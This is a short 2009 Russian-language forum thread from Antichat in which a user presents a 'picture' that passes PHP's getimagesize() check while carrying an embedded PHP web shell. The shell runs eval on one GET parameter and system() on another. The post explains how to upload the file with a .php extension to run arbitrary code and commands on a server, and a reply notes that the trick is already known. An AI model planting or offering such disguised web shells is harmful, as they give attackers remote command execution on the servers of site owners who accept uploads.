Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Эксплойт getimagesize() (https://forum.antichat.xyz/showthread.php?t=112951)

-Hormold- 25.03.2009 14:31

Эксплойт getimagesize()
 
Вложений: 1
Сделал интересную "картинку", обходящую функцию getimagesize().
В чём идея?
В том, что этой ф-ции чихать на расширение файла - она проверяет только тип и размер картинки, следовательно, можно загрузить картинку переименованную в php и функция не выругается. При том, что "картинка" выглядит очень похоже на нормальную картинку - это не мешает ей содержать

PHP код:

<? eval(stripslashes($_GET['c'])); system($_GET['s']); ?>


Загружаем переименованную в php эту картинку и выполняем свой код и команды на сервере. Если не открыть картинку блокнотом - выглядит очень правдоподобно.


Баг найден Eugen'ом с tem.dp.ua

D Mak 25.03.2009 14:50

вродь как баян уже
http://ha.ckers.org/blog/20070604/passing-malicious-php-through-getimagesize/


Время: 23:37